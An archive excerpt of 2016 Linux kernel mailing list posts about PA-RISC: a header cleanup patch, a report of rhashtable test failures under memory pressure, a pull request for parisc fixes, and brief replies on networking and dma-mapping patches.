NNTP-Posting-Date: Sat, 4 Jun 2016 15:38:33 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 04 17:38:23 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b9DeZ-0006Ya-8Z
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 Jun 2016 17:38:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750957AbcFDPiV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Jun 2016 11:38:21 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:61193 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750889AbcFDPiV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Jun 2016 11:38:21 -0400
Original-Received: from p100.box ([92.203.52.110]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0M9OMc-1bKjy13qMY-00Ci1p; Sat, 04 Jun 2016 17:38:12
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:G3QcekIkcl5by8tm86kIvTtMiwiSegCGiX/vTrU7aGCR708zNm+
 GQbEb3tWqVljOoN+lOhVPEVCZJXFrjsIslOXqVyDxxgPuF1Aah8RWdTVdxCnJcIB38lChdE
 DNH4WVvLMYtxvB2moqwtv9ahKg8bRymM5oSZ4jAi6eK51BDBswS9F21W8nFYHD/xzOmpSAi
 Im4B40KlLOGVDAcjVDYVw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:PIzkfDJR6go=:UqLuXUb2KjfRuZJWkLtA8M
 m8Qz1LaXte6o3CiX3MdzPP8nIW4akBpQx9PWXgDwaZBA1gukh0xTyzqekYduwPlRCw+zq5jvQ
 NayKHR7Up6dRbUbTFBnDF0xAAjlydv76U1bJZ/F1WZaC8RcCyMl19d1pAiifvOokI+EKnYzRt
 96LDdavPk4q043CmDieZSwYF5mHe0hPjKWIXhAB3cBa3p/XmakyTNAb7q3yKC/YVhiB7H2vDG
 uOjS8mIVJcIFVvyzGgVb+c6SBWG5gZNaHYa8ghNqRIwYPmZ5k6hQFO061kKBTLXi4kuWkqS6/
 xSuC1PkZGv+PTaLG1QGWJJ8SfQFXy3VUvJZsjZEnZjuOdRmJfq2FN9kd1n7zw9iTceMeePFkm
 oRg7bCjHZnIPsRF3pcMCy7bvZ7wVzXqUfyS/W/A3AwESxwmoOIUGNk6bybWA3XoGjKVOwuGwf
 lO7+pdU3frrFE3or9YRNXRrcSVj/8qzeYuuHylF3NtCaXX2269x1r728qXtLa1q7CtdgpD1HI
 ORkOXHeMR5uO9KZoIRGgDOuS+1g1FU9U9/UxLTjsspDPFim9mXuIHo6K/XGCGJKEnZJw2OBqc
 7DTTkn1pOPdoAauWNWJ5wgrsNG7Cp2QzkOLmu0vMWLo4fl3+kDQHn/Pk440duRhNlPx3oRJVX
 df41YNwslqMNfOoiGbILUP5U/SrCMF/A85tOhyJH+35Y1+//u+79tvfBo+0sCWnLasT1ZVp52
 5lHeIAn1gZvg4K6E4kLa1WaI3jS0DaTHbhKrj6tMrF2hnhLGybbtAcKGmNc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26834
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26834>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/traps.h b/arch/parisc/include/asm/traps.h
index 4736020..5e953ab 100644
--- a/arch/parisc/include/asm/traps.h
+++ b/arch/parisc/include/asm/traps.h
@@ -8,6 +8,8 @@ struct pt_regs;
 void parisc_terminate(char *msg, struct pt_regs *regs,
 		int code, unsigned long offset) __noreturn __cold;
 
+void die_if_kernel(char *str, struct pt_regs *regs, long err);
+
 /* mm/fault.c */
 void do_page_fault(struct pt_regs *regs, unsigned long code,
 		unsigned long address);
diff --git a/arch/parisc/kernel/unaligned.c b/arch/parisc/kernel/unaligned.c
index d7c0acb..2b65c01 100644
--- a/arch/parisc/kernel/unaligned.c
+++ b/arch/parisc/kernel/unaligned.c
@@ -28,6 +28,7 @@
 #include <linux/ratelimit.h>
 #include <asm/uaccess.h>
 #include <asm/hardirq.h>
+#include <asm/traps.h>
 
 /* #define DEBUG_UNALIGNED 1 */
 
@@ -130,8 +131,6 @@
 
 int unaligned_enabled __read_mostly = 1;
 
-void die_if_kernel (char *str, struct pt_regs *regs, long err);

From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: rhashtable - rhashtable_insert_fast failed
Date: Sat, 4 Jun 2016 20:05:48 +0200
Lines: 127
Approved: news@gmane.org
Message-ID: <5753187C.7070703@gmx.de>
References: <5751E702.5040909@gmx.de> <20160604073527.GE29740@orbyte.nwl.cc>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465063583 13497 80.91.229.3 (4 Jun 2016 18:06:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Jun 2016 18:06:23 +0000 (UTC)
Cc: "tgraf@suug.ch" <tgraf@suug.ch>,
	Mikulas Patocka <mpatocka@redhat.com>
To: Phil Sutter <phil@nwl.cc>,
	Linux Kernel Network Developers <netdev@vger.kernel.org>,
	Herbert Xu <herbert@gondor.apana.org.au>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 04 20:06:10 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b9Fxa-0004WN-A0
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 Jun 2016 20:06:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751101AbcFDSGJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Jun 2016 14:06:09 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:55057 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751053AbcFDSGI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Jun 2016 14:06:08 -0400
Original-Received: from [192.168.20.60] ([92.203.52.110]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0Li0dC-1bmSbS1i4I-00n7jZ; Sat, 04 Jun 2016 20:05:52
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20160604073527.GE29740@orbyte.nwl.cc>
X-Provags-ID: V03:K0:+wv0cQwSjASf1YZ380XYbhPbopXe0J7y5oDw++f6QraloB7bzBa
 0P5xjP0S66F1Y+/76F+zwCqR8uwk8DjCZD4tgW/fqUo0he6LNQH/zQE6faxb2nGBo3Yp2jP
 AL/1L+Td+lvwCFzmm4xrqAD/mTwyON+Chv5m8X/oXz51ZMT7N1YYkNtrfnU1IftE/MZvNbP
 mx1iHsVwSRewwla/ywXHw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:3Q2K5OcIqkM=:u16vv61ywd1L+34ZQzPPB/
 DdIwJd3gaM3AYKRSJJUe+4N/O1RsiN4Je86S2ZuGh+Ec9roYvhR/yWpy4mgXYz0YdsFH4guX9
 vH9zuQ8faTAh+FuLmM+WzDOZMEktxHQRNxVXRWN6GilkS7TngrMLUog72raS9fu9kFRzjDv/X
 LlpCOoHxgBoOqf/R5vwm+27OZMFTewyNreDUjbUarga2pOmEmLtO0Kv6X8Itq/C+Qnr+MaD8B
 4x+yzZWY76lThoYq/O3LY8zbBINgNczZ0XEyOq0waskTNP782hH8dCo7apd9GJ4VEx3LDEigr
 /mpllsjNjRjfxZBn9iOZzWpUnQtzR0p4EJs8Gq5kNnta6nBRqlaYLpW1ouXCJZKnt9vScPwxg
 yc9+8aRFWXerCobdcs9bwCAq9yTZa0lxKfeMHtN+//5QGLy4h2jS/RYQSDmIyz7xT2SvWlR3A
 1pbb2MCSJWBJSbut2sDbU0a27PiKjHkTUMuMNoX0Tl6B71q2dwJP0sD8DyX2736cxlKH0Aprl
 i7wnD9OOhGQDY34Od2Tj6/iORzYmMx1E6csMsg9tPU6lKXOR8kpf1xupHmPxm5SQ1wgH4vCrU
 mituHqqvmaEwMXu59KVobN448BoCF9Z6YNP5bIGnDiPQRaAW7BdOedy5TwdwRkuLrVzruA+5X
 oBjySjp8KxsQFDZ3hLUuEnzwPwIvdgu+IQfYB4aU/82HAUQGIeSuHQMTeaOHdTioqj1XDH0iY
 PQ/7B6ZP4W4gIN03UbGltwc8jr/MhBnWQulZxRy8t9vWpWfvgQ7k5HNCtDDuWxINhO12Ncoi 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26835 gmane.linux.network:415156
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26835>

Hi Phil,

On 04.06.2016 09:35, Phil Sutter wrote:
> [Cc'ing other interested parties, therefore full-quoting.]
> On Fri, Jun 03, 2016 at 10:22:26PM +0200, Helge Deller wrote:
>> I'm testing 4.7.0-rc1-64bit on a parisc/hppa machine and get
>> those message with CONFIG_TEST_RHASHTABLE=y.
>>
>> Is this expected/normal ?
> 
> No, this shouldn't happen. Can you possibly bisect the issue?

I did some more testing.


>> [   11.004021] Running rhashtable test nelem=8, max_size=0, shrinking=0
>> [   11.060013] Test 00:
>> [   11.181391]   Adding 50000 keys
>> [   11.299533] Info: encountered resize
>> [   11.344499] Info: encountered resize
>> [   11.392971] Info: encountered resize
>> [   11.447632]   Traversal complete: counted=50628, nelems=50000, entries=50000, table-jumps=3
>> [   11.556024] Test failed: Total count mismatch ^^^

I still see this randomly on my boxes.
Still need to check further. 

>> [   11.647150]   Traversal complete: counted=50000, nelems=50000, entries=50000, table-jumps=0
>> [   11.760022]   Deleting 50000 keys
>> [   11.822941]   Duration of test: 596000000 ns
>> [   11.876057] Test 01:
>> [   11.919907]   Adding 50000 keys
>> [   12.024027] Info: encountered resize
>> [   12.024767] Info: encountered resize
>> [   12.072981] Info: encountered resize
>> [   12.169265]   Traversal complete: counted=53763, nelems=50000, entries=50000, table-jumps=3
>> [   12.172021] Test failed: Total count mismatch ^^^
>> [   12.377004]   Traversal complete: counted=50000, nelems=50000, entries=50000, table-jumps=0
>> [   12.380022]   Deleting 50000 keys
>> [   12.552900]   Duration of test: 596000000 ns
>> [   12.556069] Test 02:
>> [   12.650017]   Adding 50000 keys
>> [   12.746381] Info: encountered resize
>> [   12.792486] Info: encountered resize
>> [   12.840977] Info: encountered resize
>> [   12.894604]   Traversal complete: counted=52831, nelems=50000, entries=50000, table-jumps=3
>> [   13.004025] Test failed: Total count mismatch ^^^
>> [   13.094046]   Traversal complete: counted=50000, nelems=50000, entries=50000, table-jumps=0
>> [   13.204022]   Deleting 50000 keys
>> [   13.269555]   Duration of test: 576000000 ns
>> [   13.324062] Test 03:
>> [   13.366586]   Adding 50000 keys
>> [   13.466624] Info: encountered resize
>> [   13.468255] Info: encountered resize
>> [   13.516485] Info: encountered resize
>> [   13.564977] Info: encountered resize
>> [   13.662159]   Traversal complete: counted=52381, nelems=50000, entries=50000, table-jumps=4
>> [   13.664022] Test failed: Total count mismatch ^^^
>> [   13.870009]   Traversal complete: counted=50000, nelems=50000, entries=50000, table-jumps=0
>> [   13.876015]   Deleting 50000 keys
>> [   14.045912]   Duration of test: 640000000 ns
>> [   14.048065] Average test time: 602000000
>> [   14.104017] Testing concurrent rhashtable access from 10 threads
>> [   14.537134]   thread[6]: rhashtable_insert_fast failed
>> [   14.540722]   thread[5]: rhashtable_insert_fast failed
>> [   14.540747]   thread[1]: rhashtable_insert_fast failed
>> [   14.540757]   thread[3]: rhashtable_insert_fast failed
>> [   14.540767]   thread[0]: rhashtable_insert_fast failed
>> [   14.540862]   thread[7]: rhashtable_insert_fast failed
>> [   14.540873]   thread[9]: rhashtable_insert_fast failed
>> [   14.540874]   thread[2]: rhashtable_insert_fast failed
>> [   14.540874]   thread[4]: rhashtable_insert_fast failed
>> [   14.676061] Test failed: thread 0 returned: -12
>> [   14.676102] Test failed: thread 1 returned: -12
>> [   14.676120]   thread[8]: rhashtable_insert_fast failed
>> [   14.676153] Test failed: thread 2 returned: -12
>> [   14.676176] Test failed: thread 3 returned: -12
>> [   14.676199] Test failed: thread 4 returned: -12
>> [   14.676224] Test failed: thread 5 returned: -12
>> [   15.516892] Test failed: thread 6 returned: -12
>> [   15.644271] Test failed: thread 7 returned: -12
>> [   15.708319] Test failed: thread 8 returned: -12
>> [   15.772074] Test failed: thread 9 returned: -12
>> [   15.832013] Started 10 threads, 10 failed

Those -12 error messages seem to indicate, that there is memory
pressure on my box (ENOMEM), right?
That might be true for parisc right now as reported by Mikulas at
 http://www.spinics.net/lists/linux-parisc/msg07066.html
and fixed by this patch:
 http://marc.info/?l=linux-mm&m=146468933302010&w=2
which I applied then.

Additionally I enabled the enomem_retry kernel option.

With those changes I get:
[   71.752666] Testing concurrent rhashtable access from 10 threads
[   72.548724]  8812 insertions retried after -ENOMEM
[   72.611804]  8799 insertions retried after -ENOMEM
[   72.674785]  8906 insertions retried after -ENOMEM
[   72.737836]  8895 insertions retried after -ENOMEM
[   72.800804]  9337 insertions retried after -ENOMEM
[   72.863843]  11122 insertions retried after -ENOMEM
[   72.927993]  11163 insertions retried after -ENOMEM
[   72.992219]  11121 insertions retried after -ENOMEM
[   73.056331]  11011 insertions retried after -ENOMEM
[   73.120492]  11121 insertions retried after -ENOMEM
[   73.621555]   thread[4]: 8799 insertions retried due to memory pressure
[   73.709060]   thread[5]: 8906 insertions retried due to memory pressure
[   73.804561]   thread[3]: 8895 insertions retried due to memory pressure
[   73.894631]   thread[1]: 9337 insertions retried due to memory pressure
[   73.988483]   thread[0]: 11122 insertions retried due to memory pressure
[   74.087575]   thread[7]: 11163 insertions retried due to memory pressure
[   74.180283]   thread[6]: 11121 insertions retried due to memory pressure
[   74.276768]   thread[2]: 11121 insertions retried due to memory pressure
[   74.367538]   thread[9]: 11011 insertions retried due to memory pressure
[   74.472908]   thread[8]: 8812 insertions retried due to memory pressure
[   79.281516] Started 10 threads, 0 failed

I'll try to investigate further on this.

Helge 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fixes for 4.7-rc2
Date: Sun, 5 Jun 2016 14:20:16 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20160605121956.GA25354@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1465129265 11394 80.91.229.3 (5 Jun 2016 12:21:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Jun 2016 12:21:05 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 05 14:20:53 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b9X2z-000688-1W
	for glpp-linux-parisc@plane.gmane.org; Sun, 05 Jun 2016 14:20:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750993AbcFEMUh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jun 2016 08:20:37 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:51687 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750938AbcFEMUg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jun 2016 08:20:36 -0400
Original-Received: from ls3530.box ([92.203.34.191]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0LoVOE-1bhC6W0nr0-00gXRw; Sun, 05 Jun 2016 14:20:22
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:FbTXHpynwXGIw+pDvaipNvlTCEPA5PfoCiGnCqvFbgHemdErj/T
 DUJ5Ic1rxFgNVWFJ0JYL3LZr0VLM/e8JcYKOj9AUQF2QQekbF2mT/XdeBtBC8PwEyZ+Kl7J
 6V+hNBRUXIZjvoR3rvZPTwD2QVFytypJvrabd92dx2YU3C1TyGXm5hFurOfZXv8msZAKAdL
 jDCUGlFa1RPlw42bCpSaQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ZhQQ4acS1Hc=:7dmnwxnacnsBX7/G+m1I8T
 XPwQiHn9zlMlgjMsBNMZBRy5FpBs6lIkQIQNR37gel0ij7zPtrsMftn+5crgj6OA9m/yCt5ws
 +g6A5nfI7KkJfAAa+nj+xXqAeJYtJwATFB8bae4K8rV4RbzTeY4HaRKfofMYGv41ivUY2EbBf
 PqZDCegTQ8cQxpS6LSAUsORCi9tj3JjdriqbQMUGsGyrBi2n6eEeT9siK3DKvFvK23CRM3brZ
 wE2g/xg6zA85nbWwkWzDmlS1wdo97+Xrf0UCg7UmVNmgltFJNKPN2/crSUORh0yE07lTUmjGe
 WL54NPRlLHyvXjjws9TOlzm33eXBSU4lDbaNB3HqrCew9mjkzV8MzAYjnY1ZxxItPfaEpINiL
 M+AgaZfd9EQrCUnBSffs7+p4b6A9eh4ZkYIKHatd0e4TNFZTmWPvNNsl1R2Z2znLPXIvudiTz
 YVqn7AVaz41IPGCFjtLi5JmLX3qqfSAitH4jJUa4OxswwA7vZKoxblEo78UOtgGfO6SdL3Rq6
 XZcW9cMYpGaLfFNej0QZMtgh6kGn48FPg0KtUVnaG+GXMw6Eqa2DZc4K2Cck0E7VyUFQ64ouo
 2TeN0SP2B6wW6Dd7aH56VElbKlny7hoKTbvmcc8DsbfQapItox7KhYUHT3+eZdudltgDGX8EM
 8F8oM5/ZOieRdC/qtBXcSV2k0AbS1ojqxg0vC3Mgglbu/Bt9PqBiQuq7C85NHGIbJl8H0USka
 KhmcvKaL6470qo86n6EktpQaCQPm9hfv0ERlel5eFOajVjmLtUEWBKBxw28=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26836 gmane.linux.kernel:2235335
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26836>

Hi Linus,

Please pull some parisc architecture fixes for kernel 4.7-rc2 from 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.7-2

Changes in this patch set:

- Fix printk time stamps on SMP systems which got wrong due to a patch which
  was added during the merge window
- Fix two bugs in the stack backtrace code: Races in module unloading and
  possible invalid accesses to memory due to wrong instruction decoding
  (Mikulas Patocka)
- Fix userspace crash when syscalls access invalid unaligned userspace
  addresses. Those syscalls will now return EFAULT as expected. (tagged for
  stable kernel series)

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (3):
      parisc: Fix printk time during boot
      parisc: Fix pagefault crash in unaligned __get_user() call
      parisc: Move die_if_kernel() prototype into traps.h header

Mikulas Patocka (1):
      parisc: Fix backtrace on PA-RISC

 arch/parisc/include/asm/traps.h |  2 ++
 arch/parisc/kernel/processor.c  |  5 +++--
 arch/parisc/kernel/time.c       |  5 -----
 arch/parisc/kernel/unaligned.c  | 13 ++++++++++---
 arch/parisc/kernel/unwind.c     | 22 ++++++++++++++--------
 5 files changed, 29 insertions(+), 18 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Willem de Bruijn <willemdebruijn.kernel@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH v2] soreuseport: add compat case for setsockopt SO_ATTACH_REUSEPORT_CBPF
Date: Sun, 5 Jun 2016 15:16:49 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <CAF=yD-Lnr36p=nu6gsfA4sYZ8zE0y769_sf2utVC5AdbVGp+OA@mail.gmail.com>
References: <CAEfhGiwwvwf31Dj+s0zA0bpVAZ4x4=rLuU5g217u=wRrgm07Dg@mail.gmail.com>
 <20160603214002.GA58242@ast-mbp.thefacebook.com> <20160603214917.GA12557@ls3530.box>
 <57520291.7090004@iogearbox.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1465132666 26378 80.91.229.3 (5 Jun 2016 13:17:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Jun 2016 13:17:46 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Alexei Starovoitov <alexei.starovoitov@gmail.com>,
	Craig Gallek <kraigatgoog@gmail.com>,
	Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>,
	Alexei Starovoitov <ast@kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Willem de Bruijn <willemb@google.com>
To: Daniel Borkmann <daniel@iogearbox.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 05 15:17:35 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b9Xvr-0007v4-77
	for glpp-linux-parisc@plane.gmane.org; Sun, 05 Jun 2016 15:17:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751348AbcFENRd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jun 2016 09:17:33 -0400
Original-Received: from mail-vk0-f41.google.com ([209.85.213.41]:33572 "EHLO
	mail-vk0-f41.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750919AbcFENRa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jun 2016 09:17:30 -0400
Original-Received: by mail-vk0-f41.google.com with SMTP id d64so45373764vkb.0;
        Sun, 05 Jun 2016 06:17:30 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=IBmRrlKhEoBGtVLQKmPYGHQA3IaiosM015F9YA633NI=;
        b=L29Mn/eyzGtHN/7mwuPSp+o1OnfnjjQ26pdBSc790l4jLtljenpGyb1mho+C92inm5
         42B2+VyYZ5criKiGzAFTKjM2RonqditUWaUMzbnfycjtZVZj/BaNwNV63/AuAgCtr9SH
         OIg4mKH0MJ5su2JirnCSGS8EZZJhuIgULpDdXdW5QngK/jh4CC7z26H2Q243K6lTqkqB
         DWAXNTBh3P7xOS8qf8YMijbfcvW2hTxOoRgojyPxl4Qz4Y2kQxQZ3hEw5hqpbA1lPEqf
         bgLUh+SxCRvSIeFJjQ2FtWhULcMez2FwPdNOGOSBW8VbhWJIxOzuowyp1ArYp/5zwRDn
         nhiA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=IBmRrlKhEoBGtVLQKmPYGHQA3IaiosM015F9YA633NI=;
        b=I7HBIugA7AEPAeXmjHf8P0/0sfWLcXzbBCYOGAiQxx94GBsWeoedLzpKxm/Yc6yns3
         cHkH0tFGkDAlbfYB5XmS4nujebGttNBNlIttRy78Xr3ktmpPBUtFVhkuxmH9EqJUYlFF
         li9S4KOfjD5nufIRHLVhmDATIqRSWbeJGlh/IUfQVNac4NGISIwUQ5DXcF9uThlCakXO
         fADDdl+uDvW89eGAuiDtthYm9rVb1xzpCp519X+OlQAUold8+mLIE/xqWopnLhZZY9Rr
         FXpyvFYdx7//D0l7lzRR6r4xABN0uCW7eX4LShRcvPQ7hWJZyfDpfK4tW/T3MDO9JxD3
         by0w==
X-Gm-Message-State: ALyK8tK3zFrVs6HHAIO0STM14NtKO68kDwR0X3EpRn2yxhbs0qeE8fmxjFQ3By74e9hBVHRT5g34u+2Kp7omNw==
X-Received: by 10.159.35.238 with SMTP id 101mr6036088uao.12.1465132649423;
 Sun, 05 Jun 2016 06:17:29 -0700 (PDT)
Original-Received: by 10.103.95.71 with HTTP; Sun, 5 Jun 2016 06:16:49 -0700 (PDT)
In-Reply-To: <57520291.7090004@iogearbox.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26837 gmane.linux.network:415247
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26837>

> Acked-by: Daniel Borkmann <daniel@iogearbox.net>
>
> [ Cc Willem: I believe we also need something similar for PACKET_FANOUT_DATA
>   when PACKET_FANOUT_CBPF is requested since we have the same issue with the
>   pointer in struct sock_fprog there, too. ]

Indeed. I'll send a patch in a few days (am traveling). Thanks for the
heads-up, Daniel.

(apologies if you also received an html version of this reply)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hans-Christian Noren Egtvedt <egtvedt@samfundet.no>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.x86-64.general,gmane.linux.kernel.pci,gmane.comp.video.dri.devel,gmane.linux.kernel.samsung-soc,gmane.linux.ports.arm.mediatek,gmane.linux.ports.arm.msm,gmane.comp.freedesktop.xorg.drivers.freedreno,gmane.comp.freedesktop.xorg.nouveau,gmane.linux.ports.arm.rockchip,gmane.linux.drivers.rdma,gmane.linux.kernel.iommu,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.omap
Subject: Re: [RFC v3 44/45] dma-mapping: Remove dma_get_attr
Date: Mon, 6 Jun 2016 08:45:12 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <20160606064512.GB7998@samfundet.no>
References: <1464881987-13203-1-git-send-email-k.kozlowski@samsung.com>
 <1464881987-13203-45-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1465195617 28863 80.91.229.3 (6 Jun 2016 06:46:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jun 2016 06:46:57 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@armlinux.org.uk>,
